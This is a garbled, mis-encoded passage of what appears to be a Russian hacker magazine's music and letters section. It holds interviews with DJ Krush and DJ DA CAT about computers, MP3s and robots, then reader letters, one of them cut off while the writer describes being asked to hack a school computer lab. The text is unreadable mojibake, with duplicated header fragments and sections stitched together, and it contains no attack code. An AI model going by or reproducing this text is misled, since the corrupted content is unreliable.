ðåâîä÷èêà, ÷òî âíåñëî íåêèé ëàã â
íàø ðàçãîâîð :). Íî, íàøå êðåäî (ôó,
êàêîå áîòàíñêîå ñëîâå÷êî!) - äàâàòü
òåáå èíôîðìàöèþ "as is" (êàê åñòü),
÷òîá òû âñåãäà ìîã èçâëå÷ü èç íåå
÷òî-òî ïîëåçíîå èëè èíòåðåñíîå äëÿ
ñåáÿ, ïîðàáîòàâ äóìàëêîé. Ìîæíî
áûëî, êîíå÷íî, ïðèâåñòè âñå ê îáùå-
ìó çíàìåíàòåëþ, ïðèãëàäèòü è ïîä-
÷èñòèòü òàê, ÷òîá êàçàëîñü, òèïà ìû
ñ ýòèì ïàðíåì ÷óòü ëè íå íà ðóññêîì
áàçàðèëè, íî ýòî íå â ñòèëå Ñïåöà ;).

Ñïåö: Ïðèâåò! Ýòî æóðíàë Õàêåð
Ñïåö. Òàê ÷òî, åñëè òû íå ïðîòèâ, ÿ
çàäàì íåñêîëüêî êîìïüþòåðíûõ è
îêîëîêîìïüþòåðíûõ âîïðîñîâ.

Krush: Äà, êîíå÷íî!

Ñ: Îê, âîò ïåðâûé âîïðîñ: íàñêîëü-
êî õîðîøî òû øàðèøü â êîìïàõ?

K: Îòâå÷ó òàê: ÿ íà÷àë èñïîëüçî-
âàòü êîìïüþòåð â ñâîåì òâîð÷åñòâå
ãîä íàçàä.

Ñ: À äî ýòîãî ðàáîòàë âîîáùå áåç
êîìïüþòåðà?

K: Äà, áåç íåãî.

Ñ: Òîãäà, âîçìîæíî, òû èñïîëüçî-
âàë êàêèå-òî ñïåöèàëèçèðîâàííûå
ýëåêòðîííûå ìàøèíêè?

K: Åñòåñòâåííî. Ñåé÷àñ ÿ èñïîëü-
çóþ è òî, è äðóãîå. Åñëè èñïîëüçî-
âàòü òîëüêî êîìïüþòåðíûé çâóê, òî
îí ïîëó÷àåòñÿ î÷åíü òîíêèì è íåèí-
òåðåñíûì.

Ñ: È êàê âïå÷àòëåíèÿ ïîñëå òîãî,
êàê òû íà÷àë èñïîëüçîâàòü êîìïüþ-
òåð â ìóçûêå? Óäîáíî? Â ÷åì ïðåè-
ìóùåñòâà åãî èñïîëüçîâàíèÿ?

K: Ñàìîå ãëàâíîå, î÷åíü óäîáíî â
ïëàíå ñâÿçè: ÿ îáùàþñü ñ îãðîìíûì
êîëè÷åñòâîì ëþäåé ïî âñåé ïëàíåòå,
è ïðè ïîìîùè êîìïüþòåðà è Èíòåð-
íåò ÿ âñåãäà ìîãó îòïðàâèòü êàêèå-
íèáóäü ñâîè íàðàáîòêè, íàïðèìåð,
ðåáÿòàì â Ëîíäîí. Èëè òî÷íî òàê æå
ïîëó÷èòü ÷òî-òî îò íèõ. Îïÿòü æå
î÷åíü óäîáíû òàêèå âåùè, êàê mp3 è

CD-R. Ðàíüøå íàäî áûëî òðàòèòü êó-
÷ó âðåìåíè, ÷òîáû ñî âñåìè ñâÿçàòü-
ñÿ è ÷òî-òî äàòü ïîñëóøàòü. òåïåðü
ýòî ìîæíî ïðîñòî îòïðàâèòü ÷åðåç
Èíòåðíåò. Íî åñòü è îòðèöàòåëüíûå
ñòîðîíû, íàïðèìåð, ìíå íå î÷åíü
êîìôîðòíî, êîãäà íåò ëè÷íîãî êîí-
òàêòà.

Ñ: Ïî ïîâîäó MP3, êàê òû ê ýòîìó
ôîðìàòó? Ó ìíîãèõ îí àññîöèèðóåòñÿ
ñ íåëåãàëüùèíîé è ïðî÷åé ôèãíåé.

K: êà÷åñòâî çâóêà ó mp3, êîíå÷íî,
íå î÷åíü. Íàïðèìåð, íà òàêîé âå÷å-
ðèíêå, êàê ñåãîäíÿ, èñïîëüçîâàòü èõ
íå ïîëó÷èòñÿ ïðèíöèïèàëüíî. ß èõ
èñïîëüçóþ, òîëüêî åñëè íàäî êîìó-
íèáóäü ÷òî-íèáóäü îïåðàòèâíî ïîñ-
ëàòü.

Ñ: Õîðîøî, à âñå-òàêè êàê ïî ïîâî-
äó òîãî, ÷òî ëþäè ìåíÿþòñÿ
mp3'øêàìè, çàáèâàÿ íà àâòîðñêèå
ïðàâà?

K: Äà, ìîþ ìóçûêó òàê íåñêîëüêî
ðàç êðàëè. ß íè÷åãî íå ïîäîçðåâàë
äàæå. Êîãäà óâèäåë, î÷åíü óäèâèëñÿ.
Âñå â Èíòåðíåòå îáîæàþò download,
ÿ è ñàì òîæå èíîãäà ýòèì çàíèìàþñü
(ñìååòñÿ).

Ñ: À êàêóþ ÎÑ òû èñïîëüçóåøü?
K: ×òî èñïîëüçóþ?

Ñ: Îïåðàöèîííóþ ñèñòåìó.
K: ×òî?

Ñ: Windows, Linux, UNIX...?
K: Àãà, ïîíÿë. Mac.

Ñ: Íà ìíîãèõ âå÷åðèíêàõ ñåé÷àñ
èñïîëüçóþòñÿ êîìïüþòåðû äëÿ óï-
ðàâëåíèÿ ñâåòîì, çâóêîì è ïðî÷èì.
Ýòî õîðîøî èëè ïëîõî? Êàê âïå÷àò-
ëåíèÿ îò ïîäîáíîãî ïðîãðåññà?

K: Îäèí ðàç íà âå÷åðèíêå ÿ ïîëüçî-
âàëñÿ êîìïüþòåðîì. Áûëî î÷åíü
ñòàøíî, ÿ ïîñòîÿííî áîÿëñÿ, ÷òî ÷òî-
òî èñïîðòèòñÿ è ñîðâåò âñþ ïàòè. ß
íå äî êîíöà äîâåðÿþ êîìïüþòåðàì,
ïîýòîìó áîþñü èõ èñïîëüçîâàòü.

Ñ: Ïî ïîâîäó ñòðàõîâ, ïðèõîäè-
ëîñü êîãäà-íèáóäü ñòàëêèâàòüñÿ ñ
õàêåðàìè?

K: Íåò, íèêîãäà.

Ñ: Â ßïîíèè äîñòàòî÷íî ìîäåí ñòèëü
êèáåðïàíê, êàê òû ê íåìó îòíîñèøüñÿ?

K: Âîîáùå âñå ýòî î÷åíü èíòåðåñ-
íî, íî, êàê ÿ óæå ãîâîðèë, ÿ òîëüêî
ãîä èñïîëüçóþ êîìïüþòåð è åùå íå-
äîñòàòî÷íî õîðîøî ðàçáèðàþñü â
íåì ñàìîì, ÷òîáû ðàçáèðàòüñÿ â
êóëüòóðíûõ äâèæåíèÿõ âîêðóã íåãî
èëè ó÷àñòâîâàòü â íèõ.

Ñ: Îê, åùå îäèí ïîõîæèé âîïðîñ:
ñåé÷àñ â ìèðå ñèëüíî ðàñïðîñòðàíå-
íî òàêîå ÿâëåíèå, êàê àíèìý, à òàê-
æå ÿïîíñêèé ñòèëü æèçíè. ×òî òû
äóìàåøü ïî ýòîìó ïîâîäó?

K: Äà, âñå ïðàâèëüíî. ß äàæå ïîì-
íþ, ÿ íåäàâíî áûë â Åâðîïå è îáðà-
òèë âíèìàíèå íà ÷åëîâåêà, ó êîòîðî-
ãî íà ôóòáîëêå áûëî ÷òî-òî íàïèñà-
íî ïî-ÿïîíñêè. Íî âñå-òàêè... ììì...
âîò òû ïîíèìàåøü, ÷òî òàêîå ÿïîíñ-
êàÿ êóëüòóðà? Òû ìîæåøü îòëè÷èòü
åå, ñêàæåì, îò êèòàéñêîé?

Ñ: Äà!
K: Òîãäà, ýòî õîðîøî. Åñëè â ìèðå

áóäóò ëó÷øå çíàòü ÿïîíñêóþ êóëüòó-
ðó, ìíå áóäåò î÷åíü ïðèÿòíî.

Ñ: Âåðíåìñÿ ê àíèìý. Îíî î÷åíü ïî-
ïóëÿðíî ñðåäè íàøèõ ÷èòàòåëåé, ìíî-
ãèå èç íèõ òàùàòñÿ îò àíèìýøíûõ
ìóëüòôèëüìîâ. Äà è ÿ ñàì èõ îáî-
æàþ, íàïðèìåð, Ghost in the Shell. À
êàê òû, ñìîòðèøü èíîãäà ìóëüòèêè?

K: Äà, ÿ î÷åíü ëþáëþ ôèëüìû Àêè-
ðà è Õàÿî Ìèÿäçàêè.

Ñ: À êàê åùå òû èñïîëüçóåøü Èí-
òåðíåò? Â ÷àòàõ âñÿêèõ, â êîíôå-
ðåíöèÿõ íå áûâàåøü?

K: Íåò, íî ÿ ëþáëþ ñîñòàâëÿòü îí-
ëàéí-àëüáîìû. Ñàì ôîòîãðàôèðóþ
íà öèôðîâóþ êàìåðó, ñàì äåëàþ äè-
çàéí...

Ñ: Îïÿòü æå, ñåé÷àñ ëþäè â ßïî-
íèè ñèëüíî òÿãîòåþò ê âûñîêèì òåõ-
íîëîãèÿì. Âîçüìåì, íàïðèìåð, ñî-
áà÷êó Aibo - êàê òû îòíîñèøüñÿ ê
òîìó, ÷òî æèâàÿ ñîáàêà ñîæåò áûòü
çàìåíåíà êèáîðãîì?

K: Êñòàòè, äèçàéí Aibo äåëàë ìîé
äðóã, è ñêîðî îí ïîäàðèò ìíå îäíó èç
ýòèõ ñîáàê. À åùå îäèí ìîé çíàêî-
ìûé èìååò äîìà öåëûõ ñåìü ðîáîòîâ
Aibo! Âîò!
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DJ-TALK
n0ah (noah@real.xakep.ru)

ñëè ïîìíèøü, â ïðåäûäóùåì RELAX'å ìû çàìîíñòðèëè èíòåðâüþ ñ DJ The Hacker. Âñå áûëî êëåâî, è
ñóäÿ ïî îòçûâàì, ìíîãèì ïîíðàâèëîñü. Ìû ðåøèëè íå îñòàíàâëèâàòüñÿ íà äîñòèãíóòîì è ïðîäîëæèëè
ïûòêè êîìïüþòåðíûìè âîïðîñàìè :). Âåäü âñåãäà èíòåðåñíî óçíàòü, íàñêîëüêî õîðîøî øàðÿò â êîìïàõ
òå èëè èíûå ïðîäâèíóòûå ÷óâàêè. Åñòåñòâåííî, îáùàòüñÿ ñ Êèðêîðîâûì íàì íå î÷åíü õî÷åòñÿ, à âîò

DJ'è è ïðèêîëüíûå ýëåêòðîííûå ãðóïïû - êàê ðàç òî, ÷òî íàäî. Íó è êîíå÷íî, èç îãðîìíîãî êîëè÷åñòâà ìóçûêàíòîâ,
êîòîðûå ïðèåçæàþò â Ìîñêâó, ìû âûáèðàåì äëÿ òåáÿ ñàìûõ èíòåðåñíûõ. Â ýòîì íîìåðå - DJ Krush è DJ DA CAT.

Å

DJ Krush



Ñ: Âàó!! Âîò ýòî êðóòî!
K: Äà, òàê ÷òî òû ñîâåðøåííî ïðàâ,

êîãäà ãîâîðèøü, ÷òî æèçíü â ßïîíèè
ñèëüíî ïåðåñåêàåòñÿ ñ âûñîêèìè
òåõíîëîãèÿìè.

Ñ: Òû èãðàåøü â êîìïüþòåðíûå
èãðû?

K: Ìîè äåòè èãðàþò. Ïÿòü-äåñÿòü
ëåò íàçàä ÿ î÷åíü ëþáèë êîìïüþòåð-
íûå èãðû, íî òåïåðü óñòàë. Èãðàþ
èíîãäà â Sim Sity.

Ñ: Ñêàæè ÷åñòíî, à êàêóþ ìóçûêó
òû ñëóøàåøü äîìà?

K: Íèêàêóþ! ß òàê óñòàþ îò ìóçûêè
íà ðàáîòå, ÷òî äîìà ìíå óæå íè÷åãî
ñëóøàòü íå õî÷åòñÿ. Âî âñÿêîì ñëó-
÷àå, ñâîè çàïèñè ÿ òî÷íî íå ñëóøàþ.
ß ëó÷øå ÷åãî-íèáóäü ïîðèñóþ èëè
ïîôîòîãðàôèðóþ.

Ñ: À êàê òû äóìàåøü, êàê áóäåò
âûãëÿäåòü ýëåêòðîííàÿ ìóçûêà ÷å-
ðåç äåñÿòü ëåò?

K: ß äóìàþ, ÷òî îíà áóäåò èìåííî
ÂÛÃËßÄÅÒÜ! Äîëæíà ïðîèçîéòè âè-
çóàëèçàöèÿ ìóçûêè. Íà âå÷åðèíêå
áóäåò DJ è åùå âòîðîé ÷åëîâåê, êî-
òîðûé ÷åðåç êîìïüþòåð áóäåò ïîêà-
çûâàòü èçîáðàæåíèå ìóçûêè, êîòî-
ðóþ èãðàåò DJ.

Ñ: Êàê âïå÷àòëåíèå îò Ìîñêâû?
K: Î÷åíü áîëüøîé è èíòåðåñíûé

ãîðîä. Ìíå ïîíðàâèëñÿ, ÿ õîòåë áû
åùå ïîãóëÿòü ïî íåìó è ïðîñòî ïîñ-
ìîòðåòü ïî ñòîðîíàì.

Ñ: Îê, ýòî áûë ìîé ïîñëåäíèé âîï-
ðîñ. Ñïàñèáî çà èíòåðâüþ!

K: Ñïàñèáî òåáå! Óäà÷è!

DJ DA CAT

Ñïåö: Äîáðîé íî÷è! Ðàä âèäåòü òå-
áÿ â Ìîñêâå! Îòñþäà æå âîïðîñ: òû
ó íàñ â ïåðâûé ðàç? Êàê îùóùåíèÿ,
êàê íàñòðîåíèå?

DA CAT: Ýòî ìîé ïÿòûé ïðèåçä â
Ìîñêâó. Êîãäà åäåøü êóäà-òî íåñ-
êîëüêî ðàç, óæå íå äóìàåøü, î òîì,
íðàâèòñÿ ëè òåáå ÷òî-òî èëè íåò, à
ïðîñòî ïîëó÷àåøü óäîâîëüñòâèå îò
ïóòåøåñòâèÿ, îò óæå çíàêîìîãî òåáå
ìåñòà. ß ïîìíþ, êîãäà ñîáèðàëñÿ ñþ-
äà âïåðâûå, ìíå áûëî î÷åíü èíòå-
ðåñíî, êàê âñå áóäåò. À âîîáùå
Ìîñêâà - îòëè÷íîå ìåñòî, è òóò ìíîãî
îòëè÷íûõ ëþäåé.

Ñ: Ñïàñèáî! ß íà ñàìîì äåëå çà-
áûë ïðåäñòàâèòüñÿ: ýòî æóðíàë Õà-
êåð Ñïåö, òàê ÷òî ÿ áóäó çàäàâàòü â
îñíîâíîì âñÿêèå õèòðûå êîìïüþ-
òåðíûå âîïðîñû. Ãîòîâ?

DC: Îê, êîíå÷íî!

Ñ: Òû, âîîáùå, çíàåøü, ÷òî ýòî çà
ðåáÿòà òàêèå - õàêåðû?

DC: Êòî?

Ñ: Õàêåðû!
DC: Õýêåðû?.. Íåò.

Ñ: Íó ïåðöû, êîòîðûå ìîãóò çà-
ëåçòü â òâîé êîìïüþòåð è ñäåëàòü ñ
íèì âñå, ÷òî óãîäíî.

DC: Ààà! Òåïåðü ïîíÿë!

Ñ: Òàê âîò, òåáå êîãäà-íèáóäü ïðè-
õîäèëîñü ñòàëêèâàòüñÿ ñ ýòèìè ðå-
áÿòàìè ëèáî ñ ïîñëåäñòâèÿìè èõ
áóðíîé äåÿòåëüíîñòè?

DC: Íåò, ïîêà íå ïðèõîäèëîñü.

Ñ: Ïîâåçëî!
DC: À òû íå èç ýòèõ ïàðíåé? (õèòðî

óëûáàåòñÿ)

Ñ: Íó, òèïà òîãî. Îê, òàêîé âîïðîñ:
èñïîëüçóåøü ëè òû êîìïüþòåð â ðà-
áîòå, â òâîð÷åñòâå, äîìà? Âîîáùå,
êîãäà òåáå ïðèõîäèòñÿ ñ íèì ñòàëêè-
âàòüñÿ è êàê ÷àñòî?

DC: Êîíå÷íî! ß èñïîëüçóþ ÏÊ äëÿ
äîñòóïà â Èíòåðíåò ïî÷òè êàæäûé
äåíü. À òàêæå ðàáîòàþ ñ äâóìÿ
êîìïüþòåðàìè, êîãäà çàíèìàþñü ìó-
çûêîé. Íî äëÿ ðàáîòû ÿ èñïîëüçóþ
òîëüêî Apple, Mac.

Ñ: À ïî÷åìó èìåííî Mac?
DC: Ïî÷åìó Mac? ß äóìàþ, ýòî ëó÷-

øèé êîìïüþòåð äëÿ êðåàòèâíûõ ëþ-
äåé: äëÿ àðòèñòîâ, ìóçûêàíòîâ, àðõè-
òåêòîðîâ, äèçàéíåðîâ. Âîçìîæíîñòè
è ïðîèçâîäèòåëüíîñòü Mac'îâ î÷åíü
âåëèêè. Ïîòîì Mac, îí âåñü öåëüíûé,
âñå â íåì ðàáîòàåò ñëàæåííî. È ñ
íèì ëåã÷å ëàäèòü, ÷åì ñ ÏÊ.

Ñ: Îê, ÿ ïîíÿë. À äëÿ ÷åãî èìåííî
òû èñïîëüçóåøü ýòè Mac'è? Äëÿ
ñâåäåíèÿ èëè äëÿ ÷åãî-òî åùå?

DC: Âî-ïåðâûõ, íà êîìïüþòåðå ÿ
ïèøó ìóçûêó. Âî-âòîðûõ, ñâîæó âñå
ñâîè loop'û èç ðàçíûõ ìåñò: ñ êëà-
âèøíûõ, ñ äðàì-ìàøèí è èç ñàìîãî
êîìïüþòåðà. Â ïðèíöèïå, ìíå íåìíî-
ãî íàäî: èìåÿ Mac ñ åãî ñîôòîì è êà-
êèå-íèáóäü êëàâèøíûå, ÿ óæå ìîãó
ñîçäàâàòü ìóçûêó.

Ñ: Ìíîãèå ìóçûêàíòû ñ÷èòàþò
êîìïüþòåð çëîì, òàê êàê ìíîãî ìî-
ëîäûõ ëþäåé íà÷èíàþò äåëàòü ìó-
çûêó, èìåÿ òîëüêî êîìïüþòåð, è îíà
ó íèõ ïîëó÷àåòñÿ íå î÷åíü êà÷åñò-
âåííîé, íå î÷åíü õîðîøî çâó÷èò. Íî
ïðè ýòîì îíè ïîëó÷àþò õîòü êàêóþ-
òî âîçìîæíîñòü äåëàòü ñâîþ ìóçû-
êó è ïîêàçûâàòü åå äðóãèì. Êàê òû
êî âñåìó ê ýòîìó îòíîñèøüñÿ?

DC: Ñîçäàâàòü ïðîôåññèîíàëüíîå
çâó÷àíèå íà êîìïüþòåðå íåâîçìîæ-
íî, íî åñëè ýòî íóæíî äëÿ òîãî, ÷òî-
áû ïðîñòî ïîêàçàòü ìîòèâ èëè çàïè-
ñàòü ÷òî-íèáóäü äëÿ äðóçåé, òî ïî÷å-
ìó áû è íåò?

Ñ: Õîðîøî, òàêîé âîïðîñ: ìîæåò ëè
êîìïüþòåð ÷åðåç íåêîòîðîå âðåìÿ
çàìåíèòü DJ'ñêèé ïóëüò è âåðòóø-
êè? Òî åñòü ïðèõîäèò DJ â êëóá,
âêëþ÷àåò êîìï, à òàì óæå åñòü âñå

òðåêè, êîòîðûå îí õî÷åò ñòàâèòü. È
âîîáùå, ìîæåò ëè êîìïüþòåð çàìå-
íèòü ñàìîãî DJ?

DC: ß ñ÷èòàþ, ÷òî íåò. Ýòî òî æå ñà-
ìîå, ÷òî ïîñòàâèòü êîìïàêò-äèñê.
Ïðîñòî êîãäà äèäæåé íà âå÷åðèíêå
èãðàåò íà âåðòóøêàõ, îí íå ïðîñòî
ñòàâèò êàêóþ-òî ìóçûêó, îí âûñòóïà-
åò â ðîëè ìóçûêàíòà. Îí âíîñèò ðàç-
íîîáðàçèå, îòðàæàåò íà ìóçûêå ñâîå
íàñòðîåíèå.

Ñ: Íå ïîäóìûâàë ëè î òîì, ÷òîáû
ïðîèãðàòü êàêîé-íèáóäü ñåò ïðÿìî â
îíëàéíå â Èíòåðåíåòå?

DC: Äà, äà, äà! ß èãðàë óæå! (ñìååò-
ñÿ) ß äåëàë ýòî â Ñàí-Ôðàíöèñêî, êó-
äà ìåíÿ ïðèãëàñèë äðóã, òîæå DJ. Ìû
ïðîèãðûâàëè ìóçûêó ïðÿìî â îí-
ëàéí, à òàêæå ó íàñ ðàáîòàëè âåá-êà-
ìåðû, òàê ÷òî âñå ìîãëè è ñëóøàòü è
âèäåòü íàø ñåò. Ìíå î÷åíü ïîíðàâè-
ëîñü!

Ñ: Êðóòî! Ïðîäîëæèì ïðî ñåòè:
ðàññêàæè ìíå, ÷òî òû äóìàåøü î
Napster'å è äðóãèõ ïîäîáíûõ ñåòÿõ?

DC: Ýòî êðóòî! Ýòî õîðîøî, êîãäà
ìóçûêà äîñòóïíà ëþáîìó ÷åëîâåêó.
ß èíîãäà èùó âñÿêèå ñòàðûå òðåêè, è
÷àñòî èõ óäàåòñÿ íàéòè òîëüêî ÷åðåç
ïîõîæèå øòóêè. Ìíå êàæåòñÿ, ìóçû-
êà äîëæíà áûòü äîñòóïíà âñåì.

Ñ: Òû èãðàåøü â êîìïüþòåðíûå èãðû?
DC: Íåò, íå õâàòàåò âðåìåíè.

Ñ: À êàê îòíîñèøüñÿ ê êèáåðïàí-
êîâñêîé êóëüòóðå?

DC: Ýýý... ììì... íó, îíà êëåâàÿ, íà-
âåðíîå (ñìååòñÿ), íî ÿ ìàëî ÷åãî ïðî
íåå çíàþ.

Ñ: Õîòåë áû èìåòü ñîáàêó-ðîáîòà,
òèïà Aibo?

DC: Ñîáàêó?

Ñ: Äà.
DC: À ìîæíî æåíùèíó-ðîáîòà?

(ñìåþòñÿ âñå)

Ñ: Åñëè áû ó òåáÿ áûëà âîçìîæ-
íîñòü èìïëàíòèðîâàòü ñåáå òàêîé
÷èï, êîòîðûé ïîçâîëèë áû òåáå äå-
ëàòü ÷òî-íèáóäü îñîáåííîå, êàêîé
áû òû âûáðàë?

DC: ß âûáðàë áû äâà: îäèí, êîòî-
ðûé ïîçâîëÿë áû ìíå ðàçãîâàðèâàòü
íà äðóãèõ ÿçûêàõ, è âòîðîé, êîòîðûé
ïåðåìåùàë áû ìåíÿ ñ ìåñòà íà ìåñòî
áåç âñÿêèõ ñàìîëåòîâ è ïðî÷åãî
òðàíñïîðòà.

Ñ: Îê, ýòî, íàâåðíîå, âñå. Ñïàñèáî,
ïðèÿòíî áûëî ïîîáùàòüñÿ! È óäà÷-
íîãî ñåòà!

DC: Ñïàñèáî! Íàäåþñü, âñåõ ñåãîä-
íÿ ïîðàäîâàòü íà òàíöïîëå!

E
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Íà ïèñüìà îòâå÷àë Äðîíè÷.

Ïðèâåòñòâóþ, Ñïåö-Ïèïåö! :)
Íèêîãäà âàì ðàíüøå íå ïèñàë, íî ÷èòàë âàø æóðíàë (ñïåö è îáû÷-
íûé) ñ ñàìîãî ðîæäåíèÿ. Ñåðèÿ ïðî ÂÅÁ ìåíÿ ïðîñòî âçáîäðèëà
è ïðèäàëà ñòèìóë, êîòîðûé óæå óõîäèë. Âñåãäà õîòåëîñü ñêàçàòü -
ïèøèòå îôèãåííî. ;)

Õî÷åòñÿ ïîáëàãîäàðèòü Niro çà ðàññêàç - �áîëüøå ïîëîâèíû�. Îáû÷íî îí ïèøåò âñÿêóþ ëàáóäó :), íî òóò ñîâåð-
øåííî äðóãîé ñëó÷àé (ïåðå÷èòûâàë íåñêîëüêî ðàç). Äà, è åùå íåìíîãî ïðî ñòàòüè - ïèøèòå ñëèøêîì ìíîãî
íåíóæíîãî è òÿíåòå â ñòàòüè «ìó-
ìó». Ðàç âñå-òàêè æóðíàë Õàêåð,
íóæíî áûëî áîëüøå óäåëÿòü âðåìÿ
òàêîé òåìå, êàê áåçîïàñ-
íîñòü/âçëîì, à íå î òîì, êàê ïèñàòü
mail_sender ;). Íà ýòîì êîí÷èë. ;)

Ïî÷åìó? Ïî÷åìó ìíå ñíîâà çàäàþò ýòîò ñòðàí-
íûé âîïðîñ ïðî âçëîì è áåçîïàñíîñòü? Ïî õîäó
ìû âàñ ðàçáàëîâàëè - èç äâàäöàòè (!) íîìåðîâ
Ñïåöà, êîòîðûå âûõîäèëè äî ñåðèè ïî âçëîìó,

õàêèíãó áûë ïîñâÿùåí òîëüêî ÎÄÈÍ! À ïîñëå ýòîé óäàðíîé ñåðèè íà õàêèíã îòâîäèòñÿ íå ìå-
íåå îäíîãî íîìåðà èç òðåõ. Ðàçâå ýòî ïëîõî? È, â êîíöå êîíöîâ, ðàçâå íå èíòåðåñíî ïî÷èòàòü
íå ïðî õàê, à ïðî âåá è ñîôò, íî ñ òî÷êè çðåíèÿ õàêåðîâ? Ìíå âîò èíòåðåñíî, ïîýòîìó ÿ äî ñèõ
ïîð èñõîæó ÿäîâèòûìè èñïàðåíèÿìè íà áëàãî ðîäíîãî æóðíàëà :). Ôó, ïàð ñïóñòèë, òåïåðü ïî
ñóùåñòâó. Íèðî áûë î÷åíü ðàä óñëûøàòü, ÷òî îí ïèøåò âñÿêóþ ëàáóäó, îáåùàë ïîáëàãîäàðèòü
ëè÷íî (ñêàëüïåëü óæå òî÷èò). À ÷òî òàêîå «ìó-ìó», ÿ òàê è íå ïîíÿë. Ïîïðîáîâàë ñïðîñèòü ó Äî-
íîðà, íî îí êðîìå êàðàìåëåê íè÷åãî íå âñïîìíèë. Êîðî÷å, íàïèøè íàì, à òî ìû âîëíóåìñÿ,
÷òî ïðîïóñòèëè êàêîå-òî ñîâðåìåííîå ÿâëåíèå ïîä íèêîì «ìó-ìó», ïîêà ñèäèì òóò â ÷åòûðåõ
ñòåíàõ è äîëàìûâàåì î÷åðåäíûå êëàâèàòóðû. Ðàäè âàñ âñå, ìåðçàâöû :).

ïèñüìà

îòâåòû

FFrom: orc ruscriptsrom: orc ruscripts
(orc000@mail.ru)(orc000@mail.ru)
Subj: Êîììåíò ê íîìåðó :)Subj: Êîììåíò ê íîìåðó :)

TTo: orc ruscriptso: orc ruscripts
(orc000@mail.ru)(orc000@mail.ru)

Ìíîãîàëëîèäíûé èíòåãðàòîð ïàððàáîëîèäîâ, ïðèâåò!
Âåñüìà äîâîëåí... ïø-ïø-ïø (ïóñêàþ ïàð èç ðóêîîáðàçíûõ îòðîñòêîâ ãîëîâû),.. ÷òî
âû ðåø-ø-øèëè íà÷àòü òåìó ñ-ñ-ñïåöîâ ïðî îñ-ñ-ñè. È ïðèëîæèòü ÊÄ ê æóðíàëó -
õîðîøàÿ èäåÿ (ãîâîðþ íîðìàëüíî, ïîòîìó ÷òî ñìåíèë ÷åëþñòü ñ êóëåðîì íà ÷å-
ëþñòü ñ îõëàæäåíèåì ñ ïîìîùüþ àòòðàäèëèðîâàííîãî ïàðàòðîïàíà). Â÷åðà êàê-òî

ïðèøåë äîìîé (êñòàòè - êàê, ÿ íå ïîìíþ, ïîìíþ òîëüêî áàíäèòîâ â ïåðåóëêå äà ñëîìàííûé ëèôò (ñëîìàííûé ñîñåäîì -
óðîäîì), ñìåíèë ïàðó äåòàëåé, ïîïîð÷åííûõ âî âðåìÿ ïåðåïàëêè ñ íà÷[åñ]àëüñòâîì, è íà÷àë ÷èòàòü Ñïåö-Õ:
a - ñòàëî ìàëî Õ-êàðòèíîê (÷òî íå åñòü ãóä), íî áîëüøå ñêðèíøîòîâ è ò.ï., (÷òî íå åñòü áýä);
b - ñòàëî áîëüøå èíôû, ò.å. ïîíÿòíîé è íóæíîé;
ñ - âîîáùå õîðîøèé äèçàéí (÷åãî ñòîèò îäèí òîëüêî ïèíãâèí íà îáëîæêå. Êñòàòè, âîïðîñ - çà÷åì îí âçÿë ôëàã ñ ýòèì ëî-
ãîòèïîì è ÷òî îí áóäåò ñ íèì äåëàòü?)
Ïø-ïø-ïø... ïî... êà... 
P.S. (áàòàðåè ñàäÿòñÿ) Ïèñàòü íå ìîã... ó...
P.P.S. Ïèøåò åãî æåíà, îí îòêëþ÷èëñÿ è íå
âñòàåò, ÷òî âû ñ íèì ñäåëàëè! Âû ...[censored]...
Ìíîãîàëëîèäíûé èíòåãðàòîð ïàððàáîëîèäîâ.

Óâàæàåìûé èíòåãðàòîð! ×òî çà õðåíîòåíü, ìà-
ôàêà? ×òî íàø ìåãàïèíãâèí ìîæåò äåëàòü ñ
ôëàãîì? Òîëüêî âçÿòü åãî â ëàñòû... â ëàïû... êî-
ðî÷å, â êðûëüÿ è ðàçìàõèâàòü íàä ãîëîâîé. Èëè

ïî åãî ãðóñòíûì ãëàçàì òàêèõ íàìåðåíèé íå óãàäûâàåòñÿ? Õì, çíà÷èò ïåðåñòàðàëñÿ
Äåíèñ, ïîêà åãî òîãî... îôîðìëÿë :). Ñîáëþäàÿ òðàäèöèè, îòâå÷ó ïî ïóíêòàì: À - êàð-
òèíîê ìàëî, íî îíè ñòàëè äåòàëèçîâàííåå è òåìàòè÷íåå, òàê ÷òî ñðî÷íî èíòåãðèðóé
ñåáå ãèïåðáîëè÷åñêóþ ëèíçó ñ äèíàìè÷åñêè ìåíÿþùèìèñÿ äèîïòðèÿìè, ÷òîáû
ïðîñìîòð æóðíàëà ñîïðîâîæäàëñÿ òîëüêî ïðèÿòíûìè ïîâèçãèâàíèÿìè (êñòàòè, âèç-
æàëêà äëÿ ïðèÿòíûõ ïîâèçãèâàíèé èäåò â êîìïëåêòå ñ ëèíçîé, âñåãî 99.99 äîëë... òü-
ôó, áëèí, åâðî, ðàçóìååòñÿ). Áý ïðîïóùó, òàê êàê ïðî ïîíÿòíóþ èíôó âñå è òàê ïîíÿò-
íî. À âîò Öå ïî÷åìó-òî çàöèêëèë ìåíÿ íà À... ôôôôôôõõõððð... System Failure, Äðî-
íè÷ â ñðî÷íîì ïîðÿäêå îòêëþ÷àåòñÿ îò ìàòðèöû.

FFrom: Ïðîõîð Àíèÿçîâè÷rom: Ïðîõîð Àíèÿçîâè÷
(robot-bot@r(robot-bot@rambamblerler.ru).ru)
Subj: no subjSubj: no subj

TTo: Ïðîõîð Àíèÿçîâè÷ o: Ïðîõîð Àíèÿçîâè÷ 
(robot-bot@r(robot-bot@rambamblerler.ru).ru)
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Çäîðîâî, ìóæèêè! Êàê æèçíü - èíòåðåñîâàòü-
ñÿ íå áóäó: ìåíÿ ýòî íèêàêèì ìåñòîì íå çà-
äåâàåò =). Õâàëèòü òîæå íå áóäó, è òàê óæå
çàõâàëåííûå ïî ñàìîå íå áàëóéñÿ :). Ïîñåìó

ñðàçó ê îñíîâíîé òåìå (íå òîé, ÷òî â çàãîëîâêå). Åñòü ó íàñ â øêîëå òåòêà, êîòîðàÿ àäìèíèò â êîìï.
êëàññàõ è âåäåò ôèçèêó ïî ñîâìåñòèòåëüñòâó. Âñå áû íå÷åãî, íî åå ïðîçâàëè Îëüãîé ÌÀÍÜÿêîâëåâ-
íîé çà äåëî (çëîáíàÿ êàê Elkern.C). Ïî ýòîìó ïîâîäó ñîáðàëèñü ïåðöû çíàêîìûå è ïðèøëè êî ìíå
ñ ïðîñüáîé õàêíóòü íàø êîìï-êëàññ è òåì ñàìûì äîâåñòè Î.Ì. äî íåðâíîãî ñðûâà. ß ñíà÷àëà ñîã-
ëàñèëñÿ, à ïîòîì ìåíÿ ñîâåñòü çàåëà: âñå-òàêè ìîÿ ðîäíàÿ øêîëà, è Î.Ì. ëè÷íî ìíå íè÷åãî ïëîõî-
